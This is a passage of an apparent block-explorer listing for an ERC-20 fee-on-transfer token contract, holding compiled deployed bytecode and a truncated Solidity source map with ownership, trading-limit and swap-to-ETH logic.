ad57506000610470565b60006113b98385611648565b9050826113c6858361165f565b14610de95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610509565b600060208083528351808285015260005b8181101561144a5785810183015185820160400152820161142e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461148057600080fd5b50565b6000806040838503121561149657600080fd5b82356114a18161146b565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146b565b925060208401356114df8161146b565b929592945050506040919091013590565b60006020828403121561150257600080fd5b81358015158114610de957600080fd5b60006020828403121561152457600080fd5b8135610de98161146b565b60008060006060848603121561154457600080fd5b505081359360208301359350604090920135919050565b60006020828403121561156d57600080fd5b5035919050565b6000806040838503121561158757600080fd5b82356115928161146b565b915060208301356115a28161146b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600181811c9082168061160c57607f821691505b60208210810361162c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761047057610470611632565b60008261167c57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561047057610470611632565b6000602082840312156116a657600080fd5b8151610de98161146b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117015784516001600160a01b0316835293830193918301916001016116dc565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104705761047061163256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e673b1cbdd7a24fc3552e48c1dd4036c3e796f2e54c5c6ca475d4c59c9eec2a864736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461036c578063a7516fe914610399578063a9059cbb146103b9578063b70143c9146103d9578063dd62ed3e146103f9578063f2fde38b1461043f57600080fd5b806370a08231146102ed578063715018a61461030d5780637d1db4a5146103225780638da5cb5b146103385780638f9a55c01461035657600080fd5b80632fd689e3116100fd5780632fd689e314610238578063313ce5671461024e57806349bd5a5e1461026a57806356cd40e71461028a5780636d8aa8f8146102a15780636fc3eaec146102d857600080fd5b806306fdde0314610145578063095ea7b31461018b5780631694505e146101bb57806318160ddd146101f357806323b872dd1461021857600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600b81526a20aaaa279029a724a822a960a91b60208201525b604051610182919061141d565b60405180910390f35b34801561019757600080fd5b506101ab6101a6366004611483565b61045f565b6040519015158152602001610182565b3480156101c757600080fd5b506013546101db906001600160a01b031681565b6040516001600160a01b039091168152602001610182565b3480156101ff57600080fd5b5067016345785d8a00005b604051908152602001610182565b34801561022457600080fd5b506101ab6102333660046114af565b610476565b34801561024457600080fd5b5061020a60275481565b34801561025a57600080fd5b5060405160098152602001610182565b34801561027657600080fd5b506014546101db906001600160a01b031681565b34801561029657600080fd5b5061029f6104df565b005b3480156102ad57600080fd5b5061029f6102bc3660046114f0565b60248054911515620100000262ff000019909216919091179055565b3480156102e457600080fd5b5061029f610520565b3480156102f957600080fd5b5061020a610308366004611512565b61052b565b34801561031957600080fd5b5061029f61054d565b34801561032e57600080fd5b5061020a60255481565b34801561034457600080fd5b506000546001600160a01b03166101db565b34801561036257600080fd5b5061020a60265481565b34801561037857600080fd5b506040805180820190915260048152634153414960e01b6020820152610175565b3480156103a557600080fd5b5061029f6103b436600461152f565b6105c1565b3480156103c557600080fd5b506101ab6103d4366004611483565b610616565b3480156103e557600080fd5b5061029f6103f436600461155b565b610623565b34801561040557600080fd5b5061020a610414366004611574565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044b57600080fd5b5061029f61045a366004611512565b610658565b600061046c338484610742565b5060015b92915050565b6000610483848484610866565b6104d584336104d085604051806060016040528060288152602001611736602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610cf4565b610742565b5060019392505050565b6000546001600160a01b031633146105125760405162461bcd60e51b8152600401610509906115ad565b60405180910390fd5b67016345785d8a0000602555565b61052947610d2e565b565b6001600160a01b03811660009081526002602052604081205461047090610d6c565b6000546001600160a01b031633146105775760405162461bcd60e51b8152600401610509906115ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b601580546105ce906115f8565b6022805491955091506105e0906115f8565b601c805491945091506105f2906115f8565b915060009050816106038486611648565b61060d9190611648565b60075550505050565b600061046c338484610866565b600061062e3061052b565b90506000606461063e8484611648565b610648919061165f565b905061065381610df0565b505050565b6000546001600160a01b031633146106825760405162461bcd60e51b8152600401610509906115ad565b6001600160a01b0381166106e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610509565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610509565b6001600160a01b0382166108055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610509565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610509565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610509565b6000811161098e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610509565b6000546001600160a01b038481169116148015906109ba57506000546001600160a01b03838116911614155b15610be75760245460ff16610a4c576000546001600160a01b03848116911614610a4c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610509565b6014546001600160a01b03838116911614801590610a7857506012546001600160a01b03838116911614155b8015610a9257506010546001600160a01b03838116911614155b8015610aa757506001600160a01b0382163014155b8015610abe57506001600160a01b03821661dead14155b15610b1557602554811115610b155760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610509565b6000610b203061052b565b6027549091508082101590610b36906002611648565b50808015610b4c5750602454610100900460ff16155b8015610b6657506014546001600160a01b03868116911614155b8015610b7a575060245462010000900460ff165b8015610b9f57506001600160a01b03851660009081526005602052604090205460ff16155b8015610bc457506001600160a01b03841660009081526005602052604090205460ff16155b15610be457610bd282610df0565b478015610be257610be281610d2e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c2957506001600160a01b03831660009081526005602052604090205460ff165b80610c5b57506014546001600160a01b03858116911614801590610c5b57506014546001600160a01b03848116911614155b15610c6857506000610ce2565b6014546001600160a01b038581169116148015610c9357506013546001600160a01b03848116911614155b15610ca557600954600c55600a54600d555b6014546001600160a01b038481169116148015610cd057506013546001600160a01b03858116911614155b15610ce257600b54600c55600754600d555b610cee84848484610f64565b50505050565b60008184841115610d185760405162461bcd60e51b8152600401610509919061141d565b506000610d258486611681565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d68573d6000803e3d6000fd5b5050565b6000600654821115610dd35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610509565b6000610ddd610f92565b9050610de98382610fb5565b9392505050565b6024805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e3457610e346115e2565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb19190611694565b81600181518110610ec457610ec46115e2565b6001600160a01b039283166020918202929092010152601354610eea9130911684610742565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f239085906000908690309042906004016116b1565b600060405180830381600087803b158015610f3d57600080fd5b505af1158015610f51573d6000803e3d6000fd5b50506024805461ff001916905550505050565b80610f7157610f71610ff7565b610f7c848484611025565b80610cee57610cee600e54600c55600f54600d55565b6000806000610f9f61111c565b9092509050610fae8282610fb5565b9250505090565b6000610de983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061115c565b600c541580156110075750600d54155b1561100e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806110378761118a565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061106990876111e7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110989086611229565b6001600160a01b0389166000908152600260205260409020556110ba81611288565b6110c484836112d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161110991815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a00006111378282610fb5565b8210156111535750506006549267016345785d8a000092509050565b90939092509050565b6000818361117d5760405162461bcd60e51b8152600401610509919061141d565b506000610d25848661165f565b60008060008060008060008060006111a78a600c54600d546112f6565b92509250925060006111b7610f92565b905060008060006111ca8e87878761134b565b919e509c509a509598509396509194505050505091939550919395565b6000610de983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cf4565b6000806112368385611722565b905083811015610de95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610509565b6000611292610f92565b905060006112a0838361139b565b306000908152600260205260409020549091506112bd9082611229565b30600090815260026020526040902055505050565b6006546112df90836111e7565b6006556008546112ef9082611229565b6008555050565b6000808080611310606461130a898961139b565b90610fb5565b90506000611323606461130a8a8961139b565b9050600061133b826113358b866111e7565b906111e7565b9992985090965090945050505050565b600080808061135a888661139b565b90506000611368888761139b565b90506000611376888861139b565b905060006113888261133586866111e7565b939b939a50919850919650505050505050565b6000826000036113ad57506000610470565b60006113b98385611648565b9050826113c6858361165f565b14610de95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610509565b600060208083528351808285015260005b8181101561144a5785810183015185820160400152820161142e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461148057600080fd5b50565b6000806040838503121561149657600080fd5b82356114a18161146b565b946020939093013593505050565b6000806000606084860312156114c457600080fd5b83356114cf8161146b565b925060208401356114df8161146b565b929592945050506040919091013590565b60006020828403121561150257600080fd5b81358015158114610de957600080fd5b60006020828403121561152457600080fd5b8135610de98161146b565b60008060006060848603121561154457600080fd5b505081359360208301359350604090920135919050565b60006020828403121561156d57600080fd5b5035919050565b6000806040838503121561158757600080fd5b82356115928161146b565b915060208301356115a28161146b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600181811c9082168061160c57607f821691505b60208210810361162c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761047057610470611632565b60008261167c57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561047057610470611632565b6000602082840312156116a657600080fd5b8151610de98161146b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117015784516001600160a01b0316835293830193918301916001016116dc565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104705761047061163256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e673b1cbdd7a24fc3552e48c1dd4036c3e796f2e54c5c6ca475d4c59c9eec2a864736f6c63430008120033

Deployed Bytecode Sourcemap

4328:12253:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6951:83;;;;;;;;;;-1:-1:-1;7021:5:0;;;;;;;;;;;;-1:-1:-1;;;7021:5:0;;;;6951:83;;;;;;;:::i;:::-;;;;;;;;7876:193;;;;;;;;;;-1:-1:-1;7876:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7876:193:0;1023:187:1;5605:41:0;;;;;;;;;;-1:-1:-1;5605:41:0;;;;-1:-1:-1;;;;;5605:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5605:41:0;1215:229:1;7228:95:0;;;;;;;;;;-1:-1:-1;4882:17:0;7228:95;;;1595:25:1;;;1583:2;1568:18;7228:95:0;1449:177:1;8077:446:0;;;;;;;;;;-1:-1:-1;8077:446:0;;;;;:::i;:::-;;:::i;6045:51::-;;;;;;;;;;;;;;;;7137:83;;;;;;;;;;-1:-1:-1;7137:83:0;;4556:1;2234:36:1;;2222:2;2207:18;7137:83:0;2092:184:1;5653:28:0;;;;;;;;;;-1:-1:-1;5653:28:0;;;;-1:-1:-1;;;;;5653:28:0;;;16057:84;;;;;;;;;;;;;:::i;:::-;;12736:94;;;;;;;;;;-1:-1:-1;12736:94:0;;;;;:::i;:::-;12796:11;:26;;;;;;;-1:-1:-1;;12796:26:0;;;;;;;;;12736:94;12412:85;;;;;;;;;;;;;:::i;7331:138::-;;;;;;;;;;-1:-1:-1;7331:138:0;;;;;:::i;:::-;;:::i;1817:148::-;;;;;;;;;;;;;:::i;5939:45::-;;;;;;;;;;;;;;;;1603:79;;;;;;;;;;-1:-1:-1;1641:7:0;1668:6;-1:-1:-1;;;;;1668:6:0;1603:79;;5991:47;;;;;;;;;;;;;;;;7042:87;;;;;;;;;;-1:-1:-1;7114:7:0;;;;;;;;;;;;-1:-1:-1;;;7114:7:0;;;;7042:87;;13128:245;;;;;;;;;;-1:-1:-1;13128:245:0;;;;;:::i;:::-;;:::i;7477:199::-;;;;;;;;;;-1:-1:-1;7477:199:0;;;;;:::i;:::-;;:::i;12505:223::-;;;;;;;;;;-1:-1:-1;12505:223:0;;;;;:::i;:::-;;:::i;7684:184::-;;;;;;;;;;-1:-1:-1;7684:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7833:18:0;;;7801:7;7833:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7684:184;1973:244;;;;;;;;;;-1:-1:-1;1973:244:0;;;;;:::i;:::-;;:::i;7876:193::-;7978:4;8000:39;442:10;8023:7;8032:6;8000:8;:39::i;:::-;-1:-1:-1;8057:4:0;7876:193;;;;;:::o;8077:446::-;8209:4;8226:36;8236:6;8244:9;8255:6;8226:9;:36::i;:::-;8273:220;8296:6;442:10;8344:138;8400:6;8344:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8344:19:0;;;;;;:11;:19;;;;;;;;442:10;8344:33;;;;;;;;;;:37;:138::i;:::-;8273:8;:220::i;:::-;-1:-1:-1;8511:4:0;8077:446;;;;;:::o;16057:84::-;1730:6;;-1:-1:-1;;;;;1730:6:0;442:10;1730:22;1722:67;;;;-1:-1:-1;;;1722:67:0;;;;;;;:::i;:::-;;;;;;;;;4882:17:::1;16111:12;:22:::0;16057:84::o;12412:85::-;12454:35;12467:21;12454:12;:35::i;:::-;12412:85::o;7331:138::-;-1:-1:-1;;;;;7444:16:0;;7397:7;7444:16;;;:7;:16;;;;;;7424:37;;:19;:37::i;1817:148::-;1730:6;;-1:-1:-1;;;;;1730:6:0;442:10;1730:22;1722:67;;;;-1:-1:-1;;;1722:67:0;;;;;;;:::i;:::-;1924:1:::1;1908:6:::0;;1887:40:::1;::::0;-1:-1:-1;;;;;1908:6:0;;::::1;::::0;1887:40:::1;::::0;1924:1;;1887:40:::1;1955:1;1938:19:::0;;-1:-1:-1;;;;;;1938:19:0::1;::::0;;1817:148::o;13128:245::-;13208:5;13202:22;;;;;:::i;:::-;13245:5;13239:22;;13202;;-1:-1:-1;13245:5:0;-1:-1:-1;13239:22:0;;;:::i;:::-;13282:8;13276:22;;13239;;-1:-1:-1;13282:8:0;-1:-1:-1;13276:22:0;;;:::i;:::-;;-1:-1:-1;13309:13:0;;-1:-1:-1;13276:22:0;13325:5;13329:1;13325;:5;:::i;:::-;:9;;;;:::i;:::-;13349:6;:14;-1:-1:-1;;;;13128:245:0:o;7477:199::-;7582:4;7604:42;442:10;7628:9;7639:6;7604:9;:42::i;12505:223::-;12562:28;12593:24;12611:4;12593:9;:24::i;:::-;12562:55;-1:-1:-1;12628:18:0;12678:3;12649:28;12670:7;12562:55;12649:28;:::i;:::-;:32;;;;:::i;:::-;12628:53;;12692:28;12709:10;12692:16;:28::i;:::-;12551:177;;12505:223;:::o;1973:244::-;1730:6;;-1:-1:-1;;;;;1730:6:0;442:10;1730:22;1722:67;;;;-1:-1:-1;;;1722:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2062:22:0;::::1;2054:73;;;::::0;-1:-1:-1;;;2054:73:0;;5525:2:1;2054:73:0::1;::::0;::::1;5507:21:1::0;5564:2;5544:18;;;5537:30;5603:34;5583:18;;;5576:62;-1:-1:-1;;;5654:18:1;;;5647:36;5700:19;;2054:73:0::1;5323:402:1::0;2054:73:0::1;2164:6;::::0;;2143:38:::1;::::0;-1:-1:-1;;;;;2143:38:0;;::::1;::::0;2164:6;::::1;::::0;2143:38:::1;::::0;::::1;2192:6;:17:::0;;-1:-1:-1;;;;;;2192:17:0::1;-1:-1:-1::0;;;;;2192:17:0;;;::::1;::::0;;;::::1;::::0;;1973:244::o;9234:369::-;-1:-1:-1;;;;;9361:19:0;;9353:68;;;;-1:-1:-1;;;9353:68:0;;5932:2:1;9353:68:0;;;5914:21:1;5971:2;5951:18;;;5944:30;6010:34;5990:18;;;5983:62;-1:-1:-1;;;6061:18:1;;;6054:34;6105:19;;9353:68:0;5730:400:1;9353:68:0;-1:-1:-1;;;;;9440:21:0;;9432:68;;;;-1:-1:-1;;;9432:68:0;;6337:2:1;9432:68:0;;;6319:21:1;6376:2;6356:18;;;6349:30;6415:34;6395:18;;;6388:62;-1:-1:-1;;;6466:18:1;;;6459:32;6508:19;;9432:68:0;6135:398:1;9432:68:0;-1:-1:-1;;;;;9511:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9563:32;;1595:25:1;;;9563:32:0;;1568:18:1;9563:32:0;;;;;;;9234:369;;;:::o;9611:2195::-;-1:-1:-1;;;;;9733:18:0;;9725:68;;;;-1:-1:-1;;;9725:68:0;;6740:2:1;9725:68:0;;;6722:21:1;6779:2;6759:18;;;6752:30;6818:34;6798:18;;;6791:62;-1:-1:-1;;;6869:18:1;;;6862:35;6914:19;;9725:68:0;6538:401:1;9725:68:0;-1:-1:-1;;;;;9812:16:0;;9804:64;;;;-1:-1:-1;;;9804:64:0;;7146:2:1;9804:64:0;;;7128:21:1;7185:2;7165:18;;;7158:30;7224:34;7204:18;;;7197:62;-1:-1:-1;;;7275:18:1;;;7268:33;7318:19;;9804:64:0;6944:399:1;9804:64:0;9896:1;9887:6;:10;9879:64;;;;-1:-1:-1;;;9879:64:0;;7550:2:1;9879:64:0;;;7532:21:1;7589:2;7569:18;;;7562:30;7628:34;7608:18;;;7601:62;-1:-1:-1;;;7679:18:1;;;7672:39;7728:19;;9879:64:0;7348:405:1;9879:64:0;1641:7;1668:6;-1:-1:-1;;;;;9960:15:0;;;1668:6;;9960:15;;;;:32;;-1:-1:-1;1641:7:0;1668:6;-1:-1:-1;;;;;9979:13:0;;;1668:6;;9979:13;;9960:32;9956:1183;;;10049:11;;;;10044:144;;1641:7;1668:6;-1:-1:-1;;;;;10089:15:0;;;1668:6;;10089:15;10081:91;;;;-1:-1:-1;;;10081:91:0;;7960:2:1;10081:91:0;;;7942:21:1;7999:2;7979:18;;;7972:30;8038:34;8018:18;;;8011:62;8109:33;8089:18;;;8082:61;8160:19;;10081:91:0;7758:427:1;10081:91:0;10213:13;;-1:-1:-1;;;;;10207:19:0;;;10213:13;;10207:19;;;;:42;;-1:-1:-1;10236:13:0;;-1:-1:-1;;;;;10230:19:0;;;10236:13;;10230:19;;10207:42;:71;;;;-1:-1:-1;10259:19:0;;-1:-1:-1;;;;;10253:25:0;;;10259:19;;10253:25;;10207:71;:94;;;;-1:-1:-1;;;;;;10282:19:0;;10296:4;10282:19;;10207:94;:118;;;;-1:-1:-1;;;;;;10305:20:0;;10318:6;10305:20;;10207:118;10204:223;;;10364:12;;10354:6;:22;;10346:63;;;;-1:-1:-1;;;10346:63:0;;8392:2:1;10346:63:0;;;8374:21:1;8431:2;8411:18;;;8404:30;8470;8450:18;;;8443:58;8518:18;;10346:63:0;8190:352:1;10346:63:0;10443:28;10474:24;10492:4;10474:9;:24::i;:::-;10552:19;;10443:55;;-1:-1:-1;10528:43:0;;;;;10615:21;;10635:1;10615:21;:::i;:::-;10591:45;10749:7;:18;;;;-1:-1:-1;10761:6:0;;;;;;;10760:7;10749:18;:43;;;;-1:-1:-1;10779:13:0;;-1:-1:-1;;;;;10771:21:0;;;10779:13;;10771:21;;10749:43;:58;;;;-1:-1:-1;10796:11:0;;;;;;;10749:58;:87;;;;-1:-1:-1;;;;;;10812:24:0;;;;;;:18;:24;;;;;;;;10811:25;10749:87;:114;;;;-1:-1:-1;;;;;;10841:22:0;;;;;;:18;:22;;;;;;;;10840:23;10749:114;10745:383;;;10884:38;10901:20;10884:16;:38::i;:::-;10970:21;11014:22;;11010:103;;11061:32;11074:18;11061:12;:32::i;:::-;10865:263;10745:383;9994:1145;;9956:1183;-1:-1:-1;;;;;11215:24:0;;11151:12;11215:24;;;:18;:24;;;;;;11166:4;;11215:24;;;:50;;-1:-1:-1;;;;;;11243:22:0;;;;;;:18;:22;;;;;;;;11215:50;11214:102;;;-1:-1:-1;11279:13:0;;-1:-1:-1;;;;;11271:21:0;;;11279:13;;11271:21;;;;:44;;-1:-1:-1;11302:13:0;;-1:-1:-1;;;;;11296:19:0;;;11302:13;;11296:19;;11271:44;11210:535;;;-1:-1:-1;11343:5:0;11210:535;;;11394:13;;-1:-1:-1;;;;;11386:21:0;;;11394:13;;11386:21;:55;;;;-1:-1:-1;11425:15:0;;-1:-1:-1;;;;;11411:30:0;;;11425:15;;11411:30;;11386:55;11383:172;;;11474:14;;11462:9;:26;11522:17;;11507:12;:32;11383:172;11581:13;;-1:-1:-1;;;;;11575:19:0;;;11581:13;;11575:19;:55;;;;-1:-1:-1;11614:15:0;;-1:-1:-1;;;;;11598:32:0;;;11614:15;;11598:32;;11575:55;11571:163;;;11663:15;;11651:9;:27;11712:6;;11697:12;:21;11571:163;11757:41;11772:4;11778:2;11782:6;11790:7;11757:14;:41::i;:::-;9714:2092;9611:2195;;;:::o;2579:224::-;2699:7;2735:12;2727:6;;;;2719:29;;;;-1:-1:-1;;;2719:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2759:9:0;2771:5;2775:1;2771;:5;:::i;:::-;2759:17;2579:224;-1:-1:-1;;;;;2579:224:0:o;12305:99::-;12362:17;;:34;;-1:-1:-1;;;;;12362:17:0;;;;:34;;;;;12389:6;;12362:17;:34;:17;:34;12389:6;12362:17;:34;;;;;;;;;;;;;;;;;;;;;12305:99;:::o;8531:323::-;8626:7;8684;;8673;:18;;8651:110;;;;-1:-1:-1;;;8651:110:0;;8882:2:1;8651:110:0;;;8864:21:1;8921:2;8901:18;;;8894:30;8960:34;8940:18;;;8933:62;-1:-1:-1;;;9011:18:1;;;9004:40;9061:19;;8651:110:0;8680:406:1;8651:110:0;8772:19;8794:10;:8;:10::i;:::-;8772:32;-1:-1:-1;8822:24:0;:7;8772:32;8822:11;:24::i;:::-;8815:31;8531:323;-1:-1:-1;;;8531:323:0:o;11814:483::-;6190:6;:13;;-1:-1:-1;;6190:13:0;;;;;11916:16:::1;::::0;;11930:1:::1;11916:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11916:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11916:16:0::1;11892:40;;11961:4;11943;11948:1;11943:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11943:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11987:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11987:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11943:7;;11987:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11977:4;11982:1;11977:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11977:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12052:15:::1;::::0;12020:62:::1;::::0;12037:4:::1;::::0;12052:15:::1;12070:11:::0;12020:8:::1;:62::i;:::-;12093:15;::::0;:196:::1;::::0;-1:-1:-1;;;12093:196:0;;-1:-1:-1;;;;;12093:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12174:11;;12093:15:::1;::::0;12216:4;;12243::::1;::::0;12263:15:::1;::::0;12093:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6226:6:0;:14;;-1:-1:-1;;6226:14:0;;;-1:-1:-1;;;;11814:483:0:o;12838:282::-;12994:7;12989:28;;13003:14;:12;:14::i;:::-;13028:44;13046:6;13054:9;13065:6;13028:17;:44::i;:::-;13088:7;13083:29;;13097:15;9160:17;;9148:9;:29;9203:15;;9188:12;:30;9104:122;16149:164;16191:7;16212:15;16229;16248:19;:17;:19::i;:::-;16211:56;;-1:-1:-1;16211:56:0;-1:-1:-1;16285:20:0;16211:56;;16285:11;:20::i;:::-;16278:27;;;;16149:164;:::o;3065:132::-;3123:7;3150:39;3154:1;3157;3150:39;;;;;;;;;;;;;;;;;:3;:39::i;8862:234::-;8909:9;;:14;:35;;;;-1:-1:-1;8927:12:0;;:17;8909:35;8905:48;;;8862:234::o;8905:48::-;8985:9;;;8965:17;:29;9023:12;;;9005:15;:30;-1:-1:-1;9048:13:0;;;;9072:16;8862:234::o;13381:610::-;13528:15;13558:23;13596:12;13623:23;13661:12;13688:13;13715:19;13726:7;13715:10;:19::i;:::-;-1:-1:-1;;;;;13763:15:0;;;;;;:7;:15;;;;;;13513:221;;-1:-1:-1;13513:221:0;;-1:-1:-1;13513:221:0;;-1:-1:-1;13513:221:0;-1:-1:-1;13513:221:0;-1:-1:-1;13513:221:0;-1:-1:-1;13763:28:0;;13513:221;13763:19;:28::i;:::-;-1:-1:-1;;;;;13745:15:0;;;;;;;:7;:15;;;;;;:46;;;;13823:18;;;;;;;:39;;13846:15;13823:22;:39::i;:::-;-1:-1:-1;;;;;13802:18:0;;;;;;:7;:18;;;;;:60;13873:16;13883:5;13873:9;:16::i;:::-;13900:23;13912:4;13918;13900:11;:23::i;:::-;13956:9;-1:-1:-1;;;;;13939:44:0;13948:6;-1:-1:-1;;;;;13939:44:0;;13967:15;13939:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13939:44:0;;;;;;;;13502:489;;;;;;13381:610;;;:::o;16321:257::-;16419:7;;16372;;;;4882:17;16487:20;16419:7;4882:17;16487:11;:20::i;:::-;16477:7;:30;16473:61;;;-1:-1:-1;;16517:7:0;;;4882:17;;-1:-1:-1;16321:257:0;-1:-1:-1;16321:257:0:o;16473:61::-;16553:7;;16562;;-1:-1:-1;16321:257:0;-1:-1:-1;16321:257:0:o;3205:223::-;3325:7;3360:12;3353:5;3345:28;;;;-1:-1:-1;;;3345:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3384:9:0;3396:5;3400:1;3396;:5;:::i;14410:620::-;14510:7;14532;14554;14576;14598;14620;14656:23;14681:12;14695:13;14725:45;14737:7;14746:9;;14757:12;;14725:11;:45::i;:::-;14655:115;;;;;;14781:19;14803:10;:8;:10::i;:::-;14781:32;;14825:15;14842:23;14867:12;14896:46;14908:7;14917:4;14923:5;14930:11;14896;:46::i;:::-;14824:118;;-1:-1:-1;14824:118:0;-1:-1:-1;14824:118:0;-1:-1:-1;14993:15:0;;-1:-1:-1;15010:4:0;;-1:-1:-1;15016:5:0;;-1:-1:-1;;;;;14410:620:0;;;;;;;:::o;2435:136::-;2493:7;2520:43;2524:1;2527;2520:43;;;;;;;;;;;;;;;;;:3;:43::i;2248:179::-;2306:7;;2338:5;2342:1;2338;:5;:::i;:::-;2326:17;;2367:1;2362;:6;;2354:46;;;;-1:-1:-1;;;2354:46:0;;10796:2:1;2354:46:0;;;10778:21:1;10835:2;10815:18;;;10808:30;10874:29;10854:18;;;10847:57;10921:18;;2354:46:0;10594:351:1;13999:211:0;14052:19;14074:10;:8;:10::i;:::-;14052:32;-1:-1:-1;14095:13:0;14111:22;:5;14052:32;14111:9;:22::i;:::-;14185:4;14169:22;;;;:7;:22;;;;;;14095:38;;-1:-1:-1;14169:33:0;;14095:38;14169:26;:33::i;:::-;14160:4;14144:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13999:211:0:o;14218:147::-;14296:7;;:17;;1430